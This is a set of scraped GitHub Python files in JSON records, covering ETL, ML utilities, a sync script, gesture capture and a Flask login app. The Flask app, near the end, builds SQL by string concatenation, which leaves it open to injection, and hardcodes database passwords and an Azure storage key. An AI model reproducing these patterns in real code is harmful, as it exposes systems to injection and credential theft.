self.x_pos = vertex_dest[0]\n self.y_pos = vertex_dest[1]\n else:\n if 0<=self.x_pos+movement_x0])\n return answer\n","repo_name":"hangyeol-seo/Coding_Test","sub_path":"KAKAO/2022_1st_Test/Problem6.py","file_name":"Problem6.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38341434439","text":"import os.path\nimport sys\nimport sqlite3\nimport logging\n\nimport abbr\nimport iana\nimport geonames\nimport topcities\n\nFORMAT = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\nlogging.basicConfig(level=logging.INFO, format=FORMAT)\nlog = logging.getLogger()\n\nseperator = \"=================================\"\n\ndata_path = './data/'\nlog_dir = './log/'\n\ndb_file = data_path + 'timegeopack.sqlite3'\n\n\ndef db():\n return sqlite3.connect(db_file)\n\n\ndef setup_logging():\n os.makedirs(log_dir, exist_ok=True)\n\n formatter = logging.Formatter(\n '[%(asctime)s] %(name)-10s%(levelname)-6s %(message)s', '%Y-%m-%d %H:%M:%S')\n global log\n for h in log.handlers:\n log.removeHandler(h)\n\n ch = logging.StreamHandler(sys.stdout)\n ch.setFormatter(formatter)\n fch = logging.FileHandler(log_dir + 'timegeopack.log', 'w')\n fch.setFormatter(formatter)\n\n log.setLevel(logging.INFO)\n log.addHandler(ch)\n log.addHandler(fch)\n\n\ndef setup_db():\n if os.path.exists(db_file):\n try:\n os.unlink(db_file)\n except FileNotFoundError as e:\n log.error('Unable to Delete database to start from scratch.')\n\n try:\n abbr.createTable()\n iana.createTable()\n geonames.createTables()\n topcities.createTable()\n\n log.info('db created')\n except Exception as e:\n log.exception('db_setup() - SQL ERROR: ' + str(e))\n exit(-1)\n\n\ndef setup():\n os.makedirs(data_path, exist_ok=True)\n\n setup_logging()\n setup_db()\n\n\nif __name__ == '__main__':\n setup()\n\n log.info('Configured, starting...')\n # process various data for manipulation\n abbr.process()\n log.info(\"~\" * 40)\n\n iana.process()\n log.info(\"~\" * 40)\n \n geonames.process()\n log.info(\"~\" * 40)\n\n # build any data sets we want\n topcities.build()\n\n log.info('Done!')\n","repo_name":"jessedp/timegeopack","sub_path":"timegeopack.py","file_name":"timegeopack.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"1092280830","text":"import os\nimport glob\nimport psycopg2\nimport pandas as pd\nfrom sql_queries import *\n\n\ndef process_song_file(cur, filepath):\n \"\"\"\n Retrieve the song file, in JSON format, and \n a. insert song data for the first record into the postgres songs table (dimension table)\n b. insert artist data for the first record into the postgres artists table (dimension table)\n Args:\n cur: Psycopg2 - a PostgreSQL database adapter for Python related to the cursor\n filepath - path of the song file\n Return : nothing\n \"\"\"\n # open song file\n df = pd.read_json(filepath, lines=True)\n\n # insert song record\n song_data = df[['song_id', 'title', 'artist_id', 'year', 'duration']].values[0].tolist()\n cur.execute(song_table_insert, song_data)\n \n # insert artist record\n artist_data = df[['artist_id', 'artist_name', 'artist_location', 'artist_longitude', 'artist_latitude']].values[0].tolist()\n cur.execute(artist_table_insert, artist_data)\n\n\ndef process_log_file(cur, filepath):\n \"\"\"\n a. Retrieve the first log file, in JSON format, and \n b. insert log data for the first record into the postgres time table (dimension table)\n c. insert artist data for the first record into the postgres users table (dimension table)\n Args:\n cur: Psycopg2 - a PostgreSQL database adapter for Python related to the cursor\n filepath - path of the song file\n Return : nothing\n \"\"\" \n # open log file\n df = pd.read_json(filepath, lines=True)\n\n # filter by NextSong action\n df = df[df.page == 'NextSong']\n\n # replace empty values with NaN\n df.replace('', float(\"NaN\"), inplace=True)\n\n # convert timestamp column to datetime\n t = pd.to_datetime(df['ts'], unit='ms')\n \n # insert time data records\n time_data = [(dt.timestamp(), dt.hour, dt.day, dt.week, dt.month, dt.year, dt.day_name()) for dt in t]\n column_labels = ('timestamp', 'hour', 'day', 'week of year', 'month', 'year', 'weekday')\n time_df = pd.DataFrame(time_data, columns=column_labels)\n\n for i, row in time_df.iterrows():\n cur.execute(time_table_insert, list(row))\n\n # load user table\n user_df = df.sort_values(by='ts', ascending=True)[['userId', 'firstName', 'lastName', 'gender', 'level']].drop_duplicates('userId').dropna(subset = ['userId'])\n\n # insert user records\n for i, row in user_df.iterrows():\n cur.execute(user_table_insert, row)\n \n # replace timestamp to datetime\n df['ts'] = pd.to_datetime(df['ts'], unit='ms')\n\n # insert songplay records\n for index, row in df.iterrows():\n \n # get songid and artistid from song and artist tables\n cur.execute(song_select, (row.song, row.artist, row.length))\n results = cur.fetchone()\n \n if results:\n songid, artistid = results\n else:\n songid, artistid = None, None\n\n # insert songplay record\n songplay_data = (row.ts.timestamp(), row.userId, row.level, songid, artistid, row.sessionId, row.location, row.userAgent)\n cur.execute(songplay_table_insert, songplay_data)\n\n\ndef process_data(cur, conn, filepath, func):\n \n \"\"\"\n process data from filepath\n Args: \n cur : psycopg2 link to cursor for postgres database\n conn : psycopg2 connection to postgres database\n filepath : path for the song data and path for the log data\n func : function name i.e. process_song_file or process_log_file\n Return : Nothing\n \"\"\"\n \n # get all files matching extension from directory\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root,'*.json'))\n for f in files :\n all_files.append(os.path.abspath(f))\n\n # get total number of files found\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n # iterate over files and process\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))\n\n\ndef main():\n \"\"\"\n Script starts here\n Args : None\n Returns : None\n \"\"\"\n conn = psycopg2.connect(\"host=127.0.0.1 dbname=sparkifydb user=student password=student\")\n cur = conn.cursor()\n\n process_data(cur, conn, filepath='data/song_data', func=process_song_file)\n process_data(cur, conn, filepath='data/log_data', func=process_log_file)\n\n conn.close()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"daranha1/dataEng-DataModeling-Postgres","sub_path":"src/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43241982466","text":"import numpy as np\n\ndef sigmoid(z):\n\n s = 1 / (1 + np.exp(-z)) \n\n return s\n\ndef initialize_with_zeros(dim):\n \"\"\"\n Argument:\n dim -- size of the w vector we want (or number of parameters in this case)\n \n Returns:\n w -- initialized vector of shape (dim, 1)\n b -- initialized scalar (corresponds to the bias)\n \"\"\"\n w = np.zeros((dim, 1))\n b = 0\n\n assert(w.shape == (dim, 1))\n assert(isinstance(b, float) or isinstance(b, int))\n \n return w, b\n\ndef propagate(w, b, X, Y): \n \"\"\"\n\n Arguments:\n w -- weights, a numpy array of size (num_px * num_px * 3, 1)\n b -- bias, a scalar\n X -- data of size (num_px * num_px * 3, number of examples)\n Y -- true \"label\" vector (containing 0 if non-cat, 1 if cat) of size (1, number of examples)\n\n Return:\n cost -- negative log-likelihood cost for logistic regression\n dw -- gradient of the loss with respect to w, thus same shape as w\n db -- gradient of the loss with respect to b, thus same shape as b\n\n \"\"\"\n \n m = X.shape[1]\n \n # Forward Propagation (From X to cost)\n A = sigmoid(np.dot(w.T, X) + b) # compute activation\n cost = -1/m * np.sum(Y*np.log(A)+(1-Y)*np.log(1-A)) # compute cost\n\n # Back Propagation (From X to cost)\n dw = 1/m * np.dot(X, (A-Y).T)\n db = 1/m * np.sum(A-Y)\n\n assert(dw.shape == w.shape)\n assert(db.dtype == float)\n cost = np.squeeze(cost)\n assert(cost.shape == ())\n \n grads = {\"dw\": dw,\n \"db\": db}\n \n return grads, cost\n\ndef optimize(w, b, X, Y, num_iterations, learning_rate, print_cost = False):\n \"\"\"\n Arguments:\n w -- weights, a numpy array of size (num_px * num_px * 3, 1)\n b -- bias, a scalar\n X -- data of shape (num_px * num_px * 3, number of examples)\n Y -- true \"label\" vector (containing 0 if non-cat, 1 if cat), of shape (1, number of examples)\n num_iterations -- number of iterations of the optimization loop\n learning_rate -- learning rate of the gradient descent update rule\n print_cost -- True to print the loss every 100 steps\n \n Returns:\n params -- dictionary containing the weights w and bias b\n grads -- dictionary containing the gradients of the weights and bias with respect to the cost function\n costs -- list of all the costs computed during the optimization, this will be used to plot the learning curve.\n \"\"\"\n costs = []\n \n for i in range(num_iterations):\n\n # Cost and gradient calculation \n grads, cost = propagate(w, b, X, Y)\n\n # Retrieve derivatives from grads\n dw = grads[\"dw\"]\n db = grads[\"db\"]\n \n # update rule\n w = w - learning_rate*dw\n b = b - learning_rate*db\n \n # Record the costs\n if i % 100 == 0:\n costs.append(cost)\n \n # Print the cost every 100 training iterations\n if print_cost and i % 100 == 0:\n print (\"Cost after iteration %i: %f\" %(i, cost))\n \n params = {\"w\": w,\n \"b\": b}\n \n grads = {\"dw\": dw,\n \"db\": db}\n \n return params, grads, costs\n\ndef predict(w, b, X):\n '''\n Predict whether the label is 0 or 1 using learned logistic regression parameters (w, b)\n \n Arguments:\n w -- weights, a numpy array of size (num_px * num_px * 3, 1)\n b -- bias, a scalar\n X -- data of size (num_px * num_px * 3, number of examples)\n\n '''\n \n m = X.shape[1]\n Y_prediction = np.zeros((1,m))\n w = w.reshape(X.shape[0], 1)\n \n # Compute vector \"A\" predicting the probabilities of a cat being present in the picture\n A = sigmoid(np.dot(w.T, X)+b)\n \n for i in range(A.shape[1]): \n # Convert probabilities A[0,i] to actual predictions p[0,i]\n if A[0, i] > 0.5:\n Y_prediction[0, i] = 1\n else:\n Y_prediction[0, i] = 0\n \n assert(Y_prediction.shape == (1, m))\n \n return Y_prediction","repo_name":"kd610/basic_neural_networks","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4136104599","text":"#!/usr/bin/env python3\n# -*- coding: utf_8 -*-\n\n# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\n\n# sync tracker_data by comparing timestamps, then pull & push data\n# NOTE: there is a relatively slow race condition on multiple runs of this script\n# this script may connect to different passenger processes on multiple runs\n# but the first process may still be committing the transaction when the second\n# run starts, and the second may see old timestamps\n\n# handle arguments\nimport argparse\nparser = argparse.ArgumentParser(description='HTTP JSON server')\n\nparser.add_argument('-r', '--remote-host',\n type=str,\n required=True,\n help='Remote host to connect to',\n)\n\nparser.add_argument('-l', '--local-host',\n type=str,\n default='127.0.0.1',\n help='Local host to connect to (default 127.0.0.1)',\n)\n\nparser.add_argument('-s', '--https',\n type=bool,\n default=False,\n help='Use HTTPS instead of HTTP (default use HTTP)',\n)\n\nparser.add_argument('-b', '--uri-base',\n type=str,\n default='',\n help='Remote URI base for constructing request URLs (default none)',\n)\n\nparser.add_argument('-B', '--local-uri-base',\n type=str,\n default='',\n help='Local URI base for constructing request URLs (default none)',\n)\n\nargs = parser.parse_args()\n\nimport http.client\nimport json\nfrom datetime import datetime\n\nif args.https:\n l_conn = http.client.HTTPSConnection(args.local_host)\nelse:\n l_conn = http.client.HTTPConnection(args.local_host)\n\nif args.https:\n r_conn = http.client.HTTPSConnection(args.remote_host)\nelse:\n r_conn = http.client.HTTPConnection(args.remote_host)\n\nheaders = {\n 'Content-type': 'application/json',\n 'Accept': 'application/json',\n}\n\n# grab timestamps\nl_conn.request('GET', args.local_uri_base + '/gwlatest', None, headers)\nlocal_latest = json.loads(l_conn.getresponse().read().decode())\nl_conn.close()\n\nr_conn.request('GET', args.uri_base + '/gwlatest', None, headers)\nremote_latest = json.loads(r_conn.getresponse().read().decode())\nr_conn.close()\n\npush_list = {}\npull_list = {}\n\nfor gw_id in local_latest.keys():\n # timestamps are in iso8601 format, eg 2019-01-03T22:48:16.080583+00:00\n # python <3.7 doesn't have datetime.fromisoformat() so use strptime\n local_ts = datetime.strptime(local_latest[gw_id], '%Y-%m-%dT%H:%M:%S.%f%z')\n if gw_id in remote_latest:\n remote_ts = datetime.strptime(remote_latest[gw_id], '%Y-%m-%dT%H:%M:%S.%f%z')\n # remove key from remote_latest, because anything left will be added to the pull list\n del remote_latest[gw_id]\n if local_ts < remote_ts:\n print('PULL {} at {}'.format(gw_id, local_ts.isoformat()))\n pull_list[gw_id] = local_ts.isoformat()\n elif local_ts > remote_ts:\n print('PUSH {} at {}'.format(gw_id, remote_ts.isoformat()))\n push_list[gw_id] = remote_ts.isoformat()\n else:\n # if timestamps match then no need to push or pull\n print('MATCH {} at {}'.format(gw_id, local_ts.isoformat()))\n else:\n # remote doesn't have this gw, push all\n print('PUSH {} at min'.format(gw_id))\n push_list[gw_id] = datetime.min.isoformat()\n\nfor gw_id in remote_latest.keys():\n # anything left in remote_latest will be new, pull all\n print('PULL {} at min'.format(gw_id))\n pull_list[gw_id] = datetime.min.isoformat()\n\nif len(push_list) > 0:\n # push_list: pull from local, push to remote\n print('PULL local, PUSH remote')\n l_conn.connect()\n r_conn.connect()\n l_conn.request('POST', args.local_uri_base + '/pull', json.dumps(push_list), headers)\n r_conn.request('POST', args.uri_base + '/push', l_conn.getresponse().read(), headers)\n r_conn.getresponse().read() # do nothing but wait for a 204\n l_conn.close()\n r_conn.close()\n\nif len(pull_list) > 0:\n # pull_list: pull from remote, push to local\n print('PULL remote, PUSH local')\n l_conn.connect()\n r_conn.connect()\n r_conn.request('POST', args.uri_base + '/pull', json.dumps(pull_list), headers)\n l_conn.request('POST', args.local_uri_base + '/push', r_conn.getresponse().read(), headers)\n l_conn.getresponse().read() # do nothing but wait for a 204\n l_conn.close()\n r_conn.close()\n","repo_name":"joelpmichael/loratracker","sub_path":"flask-apiserver/gwsync.py","file_name":"gwsync.py","file_ext":"py","file_size_in_byte":4471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28633248646","text":"import json\nimport logging\nimport os\n\nfrom urllib.request import Request, urlopen\nfrom urllib.error import URLError, HTTPError\n\nWEBHOOK_URL = os.environ['WEBHOOK_URL']\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef lambda_handler(event, context):\n logger.info(\"Event: \" + str(event))\n alarm = json.loads(event['Records'][0]['Sns']['Message'])\n logger.info(\"Message: \" + str(alarm))\n\n alarm_name = alarm['AlarmName']\n old_state = alarm['OldStateValue']\n new_state = alarm['NewStateValue']\n reason = alarm['NewStateReason']\n\n # we don't need such alarms\n if old_state == \"INSUFFICIENT_DATA\" and new_state == \"OK\":\n return\n\n # set the color of our message (general green, in case of alarm red)\n alarm_color = \"64a837\"\n if new_state == \"ALARM\":\n alarm_color = \"d63333\"\n\n message = {\n \"@context\": \"https://schema.org/extensions\",\n \"@type\": \"MessageCard\",\n \"themeColor\": alarm_color,\n \"title\": alarm_name + \": \" + old_state + \" -> \" + new_state,\n \"text\": reason\n }\n\n req = Request(WEBHOOK_URL, json.dumps(message).encode('utf-8'))\n try:\n response = urlopen(req)\n response.read()\n logger.info(\"Message posted\")\n except HTTPError as e:\n logger.error(\"Request failed: %d %s\", e.code, e.reason)\n except URLError as e:\n logger.error(\"Server connection failed: %s\", e.reason)","repo_name":"codecampn/terraform-modules","sub_path":"aws/lambda-ms-teams-notifier/src/ms-teams-notifier.py","file_name":"ms-teams-notifier.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"11807382218","text":"import sys\nimport numpy as np\nfrom collections import defaultdict\n\n\ndef read_pyramid(file_scores):\n dic_pyr_4m, dic_pyr_3m = defaultdict(lambda: []), defaultdict(lambda: [])\n with open(file_scores, 'r') as file:\n for line in file:\n line = line.split()\n docs = line[0].split('.')[1]\n dic_pyr_4m[docs].append(float(line[1]))\n dic_pyr_3m[docs].append(float(line[2]))\n lst_pyr_4m, lst_pyr_3m = [], []\n for key, val in dic_pyr_4m.items():\n lst_pyr_4m.append(np.average(val, axis=0))\n for key, val in dic_pyr_3m.items():\n lst_pyr_3m.append(np.average(val, axis=0))\n return lst_pyr_4m, lst_pyr_3m\n\n\ndef read_ROUGE(file_scores, from_column):\n dic_rouge_R, dic_rouge_P, dic_rouge_F = defaultdict(lambda: []), defaultdict(lambda: []), defaultdict(lambda: [])\n with open(file_scores, 'r') as file:\n for line in file:\n if not line.startswith('#'):\n line = line.split()\n docs = line[0].split('.')[1]\n dic_rouge_R[docs].append(float(line[from_column+0].split(':')[-1]))\n dic_rouge_P[docs].append(float(line[from_column+1].split(':')[-1]))\n dic_rouge_F[docs].append(float(line[from_column+2].split(':')[-1]))\n lst_rouge_R, lst_rouge_P, lst_rouge_F = [], [], []\n for key, val in dic_rouge_P.items():\n lst_rouge_P.append(np.average(val, axis=0))\n for key, val in dic_rouge_R.items():\n lst_rouge_R.append(np.average(val, axis=0))\n for key, val in dic_rouge_F.items():\n lst_rouge_F.append(np.average(val, axis=0))\n return lst_rouge_R, lst_rouge_P, lst_rouge_F\n\n\ndef read_ROUGE_1(file_scores):\n return read_ROUGE(file_scores, 3)\n\n\ndef read_ROUGE_2(file_scores):\n return read_ROUGE(file_scores, 6)\n\n\ndef read_ROUGE_3(file_scores):\n return read_ROUGE(file_scores, 9)\n\n\ndef read_ROUGE_4(file_scores):\n return read_ROUGE(file_scores, 12)\n\n\ndef read_ROUGE_L(file_scores):\n return read_ROUGE(file_scores, 15)\n\n\ndef read_ROUGE_W(file_scores):\n return read_ROUGE(file_scores, 18)\n\n\ndef read_ROUGE_SU4(file_scores):\n return read_ROUGE(file_scores, 21)\n\n\ndef read_sera_results(sera_file):\n lst_results = []\n with open(sera_file, 'r') as file:\n for line in file:\n line = line.rstrip('\\r\\n').split()[-1]\n lst_results.append(float(line))\n return lst_results\n\n\ndef read_SERA_(file_scores, which_column):\n dic_sera = defaultdict(lambda: [])\n with open(file_scores, 'r') as file:\n for line in file:\n line = line.rstrip('\\r\\n').split()\n docs = line[0].split('.')[1]\n dic_sera[docs].append(float(line[which_column]))\n lst_values_sera = []\n for key, val in dic_sera.items():\n lst_values_sera.append(np.average(val, axis=0))\n return lst_values_sera\n\n\ndef read_SERA(file_scores, which_column):\n dic_sera = defaultdict(lambda: [])\n with open(file_scores, 'r') as file:\n for line in file:\n line = line.rstrip('\\r\\n').split()\n docs = line[0].split('.')[-1]\n dic_sera[docs].append(float(line[which_column]))\n lst_values_sera = []\n for key, val in dic_sera.items():\n lst_values_sera.append(np.average(val, axis=0))\n return lst_values_sera\n\n\ndef SERA_M1_M2_M3_M4(file_scores):\n return read_SERA(file_scores, 5)\n\n\ndef responsiveness(file_path):\n dic_resp = defaultdict(lambda: [])\n with open(file_path, 'r') as file:\n for line in file:\n line = line.rstrip('\\r\\n').split()\n docs = line[1]#.split('.')[1]\n # in line 8 we find the overall responsiveness judgment for the peer summary\n dic_resp[docs].append(float(line[8]) / 5)\n lst_values_responsiveness = []\n for key, val in dic_resp.items():\n lst_values_responsiveness.append(np.average(val, axis=0))\n return lst_values_responsiveness\n\n\ndef order_name_files(score_pyramid_file, sera_file, path_save_file):\n lst_name_sera, lst_score_sera = [], []\n with open(sera_file, 'r') as file_sera:\n for line in file_sera:\n line = line.rstrip('\\r\\n')\n\n name_score = line.split()\n score = name_score[-1]\n ID_name = name_score[0].split('.')[0]\n ID_number = name_score[0].split('.')[-1]\n final_name = ID_name + '.' + ID_number\n final_line = final_name + '\\t' + score\n lst_name_sera.append(final_name)\n lst_score_sera.append(score)\n\n lst_orden_name_sera, lst_orden_score_sera = [], []\n with open (score_pyramid_file, 'r') as file_pyramid:\n for line in file_pyramid:\n line = line.rstrip('\\r\\n')\n ID_file = line.split()[0] # we get only the ID file\n\n if ID_file in lst_name_sera:\n index = lst_name_sera.index(ID_file)\n lst_orden_name_sera.append(ID_file)\n score_orden = lst_score_sera[index]\n lst_orden_score_sera.append(score_orden)\n\n for ID_sera, score_sera in zip( lst_orden_name_sera, lst_orden_score_sera):\n with open(path_save_file , 'a') as file:\n #line = ID_sera + '\\t' + score_sera\n file.write(str(ID_sera) + '\\t' + str(score_sera))\n file.write('\\n')\n #print(ID_sera, score_sera)\n #print(line)\n\n\n\n","repo_name":"JessicaLopezEspejel/GeSERA","sub_path":"correlation/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"19101752999","text":"import cv2\nimport numpy as np\nimport mediapipe as mp\nimport time\nmp_drawing = mp.solutions.drawing_utils\nmp_drawing_styles = mp.solutions.drawing_styles\nmp_hands = mp.solutions.hands\nnofsmples=11\nnofframes=64\nclasses=['0_pinch_index','10_palm_hold','1_palm_tilt','2_finger_slider','3_pinch_pinky','4_slow_swipe','5_fast_swipe','6_push','7_pull','8_finger_rub','9_circle']\nclassidx=10\nfiles=[]\nfor idx2 in range(0,nofsmples):\n resultarr=[]\n cap = cv2.VideoCapture(0)\n # For webcam input:\n for fr in range(0,nofframes):\n with mp_hands.Hands(\n model_complexity=0,\n max_num_hands=1,\n min_detection_confidence=0.5,\n min_tracking_confidence=0.5) as hands:\n success, image = cap.read()\n if not success:\n print(\"Ignoring empty camera frame.\")\n # If loading a video, use 'break' instead of 'continue'.\n continue\n # To improve performance, optionally mark the image as not writeable to\n # pass by reference.\n image.flags.writeable = False\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n results = hands.process(image)\n # Draw the hand annotations on the image.\n image.flags.writeable = True\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n image_height, image_width, _ = image.shape\n if results.multi_hand_landmarks:\n for hand_landmarks in results.multi_hand_landmarks:\n mp_drawing.draw_landmarks(\n image,\n hand_landmarks,\n mp_hands.HAND_CONNECTIONS,\n mp_drawing_styles.get_default_hand_landmarks_style(),\n mp_drawing_styles.get_default_hand_connections_style())\n # print(\n # f'Wrist coordinates: (',\n # f'{hand_landmarks.landmark[mp_hands.HandLandmark.WRIST].x * image_width}, '\n # f'{hand_landmarks.landmark[mp_hands.HandLandmark.WRIST].y * image_height})'\n # )\n resultarr.append(str(hand_landmarks.landmark[mp_hands.HandLandmark.WRIST].x * image_width))\n resultarr.append(str(hand_landmarks.landmark[mp_hands.HandLandmark.WRIST].y * image_height))\n resultarr.append(str(hand_landmarks.landmark[mp_hands.HandLandmark.INDEX_FINGER_TIP].z*10000))\n else:\n resultarr.append(0.0)\n resultarr.append(0.0)\n resultarr.append(0.0)\n # Flip the image horizontally for a selfie-view display.\n #cv2.imshow('MediaPipe Hands', cv2.flip(image, 1))\n #cv2.waitKey(1000)\n #time.sleep(1)\n print(idx2,fr)\n print(len(resultarr))\n resultarr.append(str(classidx))\n cap.release()\n files.append(resultarr)\n\n#print(resultarr)\n#print(len(resultarr))\nimport csv\nnames=[]\nfor i in range(0,nofframes):\n names.append('frame_'+str(i)+\"_x\")\n names.append('frame_'+str(i)+\"_y\")\n names.append('frame_'+str(i)+\"_z\")\nnames.append('class')\n#print(files)\nwith open('datasettomp/train/'+classes[classidx]+'/dataset.csv', 'w') as f: \n write = csv.writer(f) \n write.writerow(names)\n for i in range(0,nofsmples): \n write.writerow(files[i])","repo_name":"hishamelreedy/innovatefpga-GestureRecognitionAccelerator","sub_path":"pyopencl/testmp.py","file_name":"testmp.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"16677425291","text":"# -*- coding: utf-8 -*-\n'''\n>>> 请定义一个函数 quadratic(a, b, c)，接收3个参数，返回一元二次方程 ax^2+bx+c=0 的两个解\n\nNOTE:\n求解需要确定判别式 delta (b^2 - 4ac) 的大小:\n 当 delta>0 时，方程有两个不相等的实数根；\n 当 delta=0 时，方程有两个相等的实数根；\n 当 delta<0 时，方程无实数根，但有2个共轭复根。 [i = (-1)^2]\n'''\n\nimport math\n\n\ndef quadratic(a, b, c):\n delta = (b**2 - 4 * a * c)\n if a == 0:\n x = -c / b\n return '方程有唯一实根：%g' % x\n\n else:\n if delta == 0:\n x = -b / (2 * a)\n return '方程有唯一实根：%g' % x\n\n elif delta > 0:\n x1 = (-b + math.sqrt(delta)) / (2 * a)\n x2 = (-b + math.sqrt(delta)) / (2 * a)\n return '方程有 2 个实根：%g, %g' % (x1, x2)\n\n elif delta < 0:\n child1 = -b / (2 * a)\n child2 = math.sqrt(-delta) / (2 * a)\n x1 = ('%g + %gi' % (child1, child2))\n x2 = ('%g + %gi' % (child1, child2))\n return '方程有 2 个共轭复根：%s, %s' % (x1, x2)\n\n\nprint('二次方程格式：ax^2 + bx + c = 0')\na = float(input('请输入 a : '))\nb = float(input('请输入 b : '))\nc = float(input('请输入 c : '))\n\nresult = quadratic(a, b, c)\nprint(result)\n\n","repo_name":"YongSangUn/learn-career","sub_path":"programming_langs/python/liaoxuefeng-py3/python_work/practice_quadratic.py","file_name":"practice_quadratic.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"17972275703","text":"# 평균값 구하기\n# T번 만큼 리스트에 입력 받기\nT = int(input())\nnumsStr = []\nfor i in range(T):\n numsStr.append((input().strip(' ')).split(' '))\nfor i in range(len(numsStr)):\n hap = 0\n for numStr in numsStr[i]:\n hap += int(numStr)\n avgF = hap / len(numsStr[i])\n print(f'#{i + 1} {round(avgF)}')\n# 입력 받은 값 리스트에 담아서 int로 만들기\n# int로 만든 수 더해서 10으로 나누기\n# 반올림하기\n\n","repo_name":"yeonju501/swea","sub_path":"D1/2071.py","file_name":"2071.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1436522821","text":"from tkinter import *\r\n\r\nfrom tkinter import filedialog\r\n\r\n# ('Text Files' '.*txt') ('CSV files', '*.csv')\r\n\r\n# only need to add the function to main project, do not need to add the other stuff\r\ndef browseFiles():\r\n # Add this to main project\r\n filename = filedialog.askopenfilename(initialdir=\"/\", title='Choose a file', filetypes=[('Text Files', '.*txt')])\r\n label_file_explorer.configure(text=\"File Opened: \" +filename)\r\n # Also add this to main project\r\n file = open(filename, \"r\")\r\n # Also add this\r\n if file:\r\n data = file.read()\r\n file.close()\r\n # Don't need to add this\r\n label_file_explorer.configure(text=\"File Text: \" + data)\r\n\r\nwindow = Tk()\r\n\r\nwindow.title('File Explorer')\r\n\r\n\r\nwindow.config(background = \"white\")\r\n\r\nlabel_file_explorer = Label(window, text = \"File Explorer using Tkinter\",\r\n width= 100, height = 4,\r\n fg = \"blue\")\r\n\r\nbutton_explore = Button(window,\r\n text = \"Browse Files\",\r\n command = browseFiles)\r\n\r\nbutton_exit = Button(window,\r\n text = \"Exit\",\r\n command = exit)\r\n\r\nlabel_file_explorer.grid(column = 1, row = 1)\r\n\r\nbutton_explore.grid(column = 1, row = 2)\r\n\r\nbutton_exit.grid(column = 1,row = 3)\r\n\r\n# Let the window wait for any events\r\nwindow.mainloop()","repo_name":"ct2sjk/CSE-350-Final-Project","sub_path":"BrowseFiles.py","file_name":"BrowseFiles.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"5568833743","text":"from flask import Flask\nfrom flask import Flask,render_template,request\nimport os\nfrom os import listdir\n\nimport os,os.path\nfrom os.path import isfile, join\nimport csv\nimport time\nimport random\nimport sys\nfrom flask import Flask\n#from azure.storage.blob import BlockBlobService\n#from azure.storage.blob import ContentSettings\nfrom flask import render_template\nfrom flask import request\nimport mysql.connector\n#from mysql.connector import errorcode\n#import pyodbc\nimport pymysql\nimport base64\nimport datetime\nimport time\n#import uuid\n#from azure.storage.blob import PublicAccess\n#import pymysql\nfrom flask import Flask, render_template, session, request, flash, redirect, url_for\n\n# Obtain connection string information from the portal\n#config = {\n# server ='aishdb.database.windows.net'\n# username ='aish'\n# password ='Qwerty123'\n# database ='AishDb'\n#driver= '{ODBC Driver 13 for SQL Server}'\n#cnxn = pyodbc.connect('DRIVER='+driver+';PORT=1433;SERVER='+server+';PORT=1443;DATABASE='+database+';UID='+username+';PWD='+ password)\n#}\ndb = mysql.connector.connect(user=\"aishdblogin@aishdbserver\", password=\"Qwerty123\", host=\"aishdbserver.mysql.database.azure.com\", port=3306, database=\"apsdb\")\ncursor = db.cursor()\ncursor1 = db.cursor()\ncursor2 = db.cursor()\nprint (db)\nprint (\"connection successful\")\n# #block_blob_service = BlockBlobService(account_name='aishlogs',\n# account_key='VnKALk8wpTyN+cgBLwdH6b6mZ/XDYbvCeg5UlBfrdSV37JsaoE+tgo+YQcI1myxdkqB2+wL1h76/BWBVxVsjpA==')\n# # print(block_blob_service)\n# # block_blob_service.set_container_acl('aishimgcontainer', public_access=PublicAccess.Container)\n# # print ('Blob connected')\n\napp = Flask(__name__)\\\n\n@app.route('/')\n#for login\n@app.route('/', methods=['POST', 'GET'])\n@app.route('/login.html')\n@app.route('/login', methods=['POST', 'GET'])\ndef login():\n if request.method == 'POST':\n uname = request.form['Username']\n # checking username from database\n sql = \"select first_name, last_name from user where user_name = '\" + uname + \"'\"\n #print (sql)\n cursor.execute(sql)\n #print(cursor.rowcount)\n results = cursor.fetchall()\n #if username exists in database then go to upload page\n if cursor.rowcount > 0:\n\n #print(results)\n for row in results:\n\n return render_template('uploadFiles.html', username=uname, fname=row[0])\n return render_template('login.html')\n else:\n return render_template('login.html')\n\n\n\n#for registration\n@app.route('/register', methods=['POST', 'GET'])\ndef register():\n # pip freeze > requirements.txt on local to automatically insert packages into requirements.txt\n\n\n #Input fields\n uname = request.form['Username']\n fname = request.form['Firstname']\n lname = 